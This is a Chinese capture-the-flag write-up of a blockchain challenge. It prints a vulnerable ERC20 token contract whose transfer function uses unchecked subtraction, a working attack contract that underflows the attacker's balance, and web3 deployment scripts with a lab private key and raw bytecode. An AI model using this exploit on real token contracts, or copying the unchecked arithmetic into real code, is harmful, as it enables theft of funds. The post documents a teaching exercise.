区块链学习笔记之RealWorld体验赛——TransferFrom

admin 2024年8月24日23:31:39评论15 views字数 13532阅读45分6秒阅读模式

erc20_fake.sol

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338
//SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.6.6;abstract contract Context {    function _msgSender() internal view virtual returns (address payable) {        return msg.sender;    }    function _msgData() internal view virtual returns (bytes memory) {        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691        return msg.data;    }}interface IERC20 {    /**     * @dev Returns the amount of tokens in existence.     */    function totalSupply() external view returns (uint256);    /**     * @dev Returns the amount of tokens owned by `account`.     */    function balanceOf(address account) external view returns (uint256);    function transfer(address recipient, uint256 amount)        external        returns (bool);    function allowance(address owner, address spender)        external        view        returns (uint256);    function approve(address spender, uint256 amount) external returns (bool);    function transferFrom(        address sender,        address recipient,        uint256 amount    ) external returns (bool);    event Transfer(address indexed from, address indexed to, uint256 value);    /**     * @dev Emitted when the allowance of a `spender` for an `owner` is set by     * a call to {approve}. `value` is the new allowance.     */    event Approval(        address indexed owner,        address indexed spender,        uint256 value    );}library SafeMath {    function add(uint256 a, uint256 b) internal pure returns (uint256) {        uint256 c = a + b;        require(c >= a, "SafeMath: addition overflow");        return c;    }    function sub(uint256 a, uint256 b) internal pure returns (uint256) {        return sub(a, b, "SafeMath: subtraction overflow");    }    function sub(        uint256 a,        uint256 b,        string memory errorMessage    ) internal pure returns (uint256) {        require(b <= a, errorMessage);        uint256 c = a - b;        return c;    }    function mul(uint256 a, uint256 b) internal pure returns (uint256) {        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the        // benefit is lost if 'b' is also tested.        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522        if (a == 0) {            return 0;        }        uint256 c = a * b;        require(c / a == b, "SafeMath: multiplication overflow");        return c;    }    function div(uint256 a, uint256 b) internal pure returns (uint256) {        return div(a, b, "SafeMath: division by zero");    }    function div(        uint256 a,        uint256 b,        string memory errorMessage    ) internal pure returns (uint256) {        require(b > 0, errorMessage);        uint256 c = a / b;        // assert(a == b * c + a % b); // There is no case in which this doesn't hold        return c;    }    function mod(uint256 a, uint256 b) internal pure returns (uint256) {        return mod(a, b, "SafeMath: modulo by zero");    }    function mod(        uint256 a,        uint256 b,        string memory errorMessage    ) internal pure returns (uint256) {        require(b != 0, errorMessage);        return a % b;    }}contract ERC20 is Context, IERC20 {    using SafeMath for uint256;    mapping(address => uint256) private _balances;    mapping(address => mapping(address => uint256)) private _allowances;    uint256 private _totalSupply;    string private _name;    string private _symbol;    uint8 private _decimals;    constructor(string memory name, string memory symbol) public {        _name = name;        _symbol = symbol;        _decimals = 18;    }    /**     * @dev Returns the name of the token.     */    function name() public view returns (string memory) {        return _name;    }    function symbol() public view returns (string memory) {        return _symbol;    }    function decimals() public view returns (uint8) {        return _decimals;    }    /**     * @dev See {IERC20-totalSupply}.     */    function totalSupply() public view override returns (uint256) {        return _totalSupply;    }    /**     * @dev See {IERC20-balanceOf}.     */    function balanceOf(address account) public view override returns (uint256) {        return _balances[account];    }    function transfer(address recipient, uint256 amount)        public        virtual        override        returns (bool){        _transfer(_msgSender(), recipient, amount);        return true;    }    function allowance(address owner, address spender)        public        view        virtual        override        returns (uint256){        return _allowances[owner][spender];    }    function approve(address spender, uint256 amount)        public        virtual        override        returns (bool){        _approve(_msgSender(), spender, amount);        return true;    }    function transferFrom(        address sender,        address recipient,        uint256 amount    ) public virtual override returns (bool) {        _transfer(sender, recipient, amount);        _approve(            sender,            _msgSender(),            _allowances[sender][_msgSender()].sub(                amount,                "ERC20: transfer amount exceeds allowance"            )        );        return true;    }    function increaseAllowance(address spender, uint256 addedValue)        public        virtual        returns (bool){        _approve(            _msgSender(),            spender,            _allowances[_msgSender()][spender].add(addedValue)        );        return true;    }    function decreaseAllowance(address spender, uint256 subtractedValue)        public        virtual        returns (bool){        _approve(            _msgSender(),            spender,            _allowances[_msgSender()][spender].sub(                subtractedValue,                "ERC20: decreased allowance below zero"            )        );        return true;    }    function _transfer(        address sender,        address recipient,        uint256 amount    ) internal virtual {        require(sender != address(0), "ERC20: transfer from the zero address");        require(recipient != address(0), "ERC20: transfer to the zero address");        _balances[sender] = _balances[sender] - amount;        _balances[recipient] = _balances[recipient] + amount;        emit Transfer(sender, recipient, amount);    }    function _mint(address account, uint256 amount) internal virtual {        require(account != address(0), "ERC20: mint to the zero address");        _totalSupply = _totalSupply.add(amount);        _balances[account] = _balances[account].add(amount);        emit Transfer(address(0), account, amount);    }    function _burn(address account, uint256 amount) internal virtual {        require(account != address(0), "ERC20: burn from the zero address");        _balances[account] = _balances[account].sub(            amount,            "ERC20: burn amount exceeds balance"        );        _totalSupply = _totalSupply.sub(amount);        emit Transfer(account, address(0), amount);    }    function _approve(        address owner,        address spender,        uint256 amount    ) internal virtual {        require(owner != address(0), "ERC20: approve from the zero address");        require(spender != address(0), "ERC20: approve to the zero address");        _allowances[owner][spender] = amount;        emit Approval(owner, spender, amount);    }    function _setupDecimals(uint8 decimals_) internal {        _decimals = decimals_;    }}contract Ownable is Context {    address private _owner;    event OwnershipTransferred(        address indexed previousOwner,        address indexed newOwner    );    constructor() internal {        address msgSender = _msgSender();        _owner = msgSender;        emit OwnershipTransferred(address(0), msgSender);    }    function owner() public view returns (address) {        return _owner;    }    modifier onlyOwner() {        require(_owner == _msgSender(), "Ownable: caller is not the owner");        _;    }    function renounceOwnership() public virtual onlyOwner {        emit OwnershipTransferred(_owner, address(0));        _owner = address(0);    }    function transferOwnership(address newOwner) public virtual onlyOwner {        require(            newOwner != address(0),            "Ownable: new owner is the zero address"        );        emit OwnershipTransferred(_owner, newOwner);        _owner = newOwner;    }}contract FishmenToken is ERC20("FishmenToken", "FMT"), Ownable {    function mint(address _to, uint256 _amount) public onlyOwner {        _mint(_to, _amount);    }    function burn(address _from, uint256 _amount) public {        _burn(_from, _amount);    }}

deployer.sol

123456789101112131415161718192021
pragma solidity ^0.6.6;import "./erc20_fake.sol";contract deployer {    FishmenToken public fishmenToken;    bool public isSvd;    constructor() public {        fishmenToken = new FishmenToken();    }    function solve() public returns (bool) {        require(fishmenToken.balanceOf(msg.sender) > 100,"token balance < 100");        isSvd = true;    }    function isSolved() public view returns (bool) {        return isSvd;    }}

合约看着很长,搞了一个fishmantoken,但其实漏洞很简单,看到erc20_fake.sol里,虽然用了所谓的safemath,但是注意到合约ERC20里的_transfer函数,

1234567891011
function _transfer(    address sender,    address recipient,    uint256 amount) internal virtual {    require(sender != address(0), "ERC20: transfer from the zero address");    require(recipient != address(0), "ERC20: transfer to the zero address");    _balances[sender] = _balances[sender] - amount;    _balances[recipient] = _balances[recipient] + amount;    emit Transfer(sender, recipient, amount);}

做transfer的时候他还是用了减号,那依然会造成下溢,【想要用到safemath的功能,这里得用sub】

所以这里我们可以部署一个 attack合约,然后用这个合约调用transfer随便往哪里赚钱,那么他自己的账户的钱就会下溢而变得很多。

攻击合约

12345678910111213141516171819
//SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.6.6;import "./erc20_fake.sol";import "./deployer.sol";contract attack{    address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去,部署的题目(deployer合约)地址    bool public flag;    deployer challenge=deployer(challenge_addr);     address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址    FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例    constructor() public{        fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户(别的啥payable的账户都行)随便转点钱        flag=challenge.solve(); // 调用一下solve完成解题    }}

解题步骤

和远程交互,建立一个部署题目的账户,

1234567
[1] - Create an account which will be used to deploy the challenge contract[2] - Deploy the challenge contract using your generated account[3] - Get your flag once you meet the requirement[4] - Show the contract source code[-] input your choice: 1[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A

然后去8080端口,有水管,往这个账户搞点eth

区块链学习笔记之RealWorld体验赛——TransferFrom

部署题目

12345678
[1] - Create an account which will be used to deploy the challenge contract[2] - Deploy the challenge contract using your generated account[3] - Get your flag once you meet the requirement[4] - Show the contract source code[-] input your choice: 2[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae

好了,我们还得再自己建立一个部署攻击合约的账户,这里不能通过交互建立账户,他都不给你私钥,这里的用脚本交互去创建一个账户

123456
from web3 import Web3,HTTPProviderfrom Crypto.Util.number import *w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))key=w3.eth.account.create()print(hex(bytes_to_long(key.privateKey)))account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')

然后还是,去水管往这个账户打点钱。

接下来我用remix去编译一下攻击合约,拿到他的字节码。或者也可以部署【注意到,这里肯定是部署失败的,但是我们主要想要他的bytecode】

区块链学习笔记之RealWorld体验赛——TransferFrom

区块链学习笔记之RealWorld体验赛——TransferFrom

然后我们继续用脚本,在这条私链上部署攻击合约

1234567891011121314151617
def deploy(rawTx):    signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey)    hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex()    receipt = w3.eth.waitForTransactionReceipt(hashTx)    return receiptif __name__ == '__main__':    rawTx = {        'from': account.address,        'nonce': w3.eth.getTransactionCount(account.address),        'gasPrice': w3.toWei(1,'gwei'),        'gas': 300000,        'value': w3.toWei(0, 'ether'),        'data': '0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033',        "chainId": 1211  #私链的chainId可以去metamask导入查一下,是1211    }    receipt = deploy(rawTx)

然后交互去拿flag就好了。

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月24日23:31:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链学习笔记之RealWorld体验赛——TransferFromhttps://cn-sec.com/archives/3093573.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息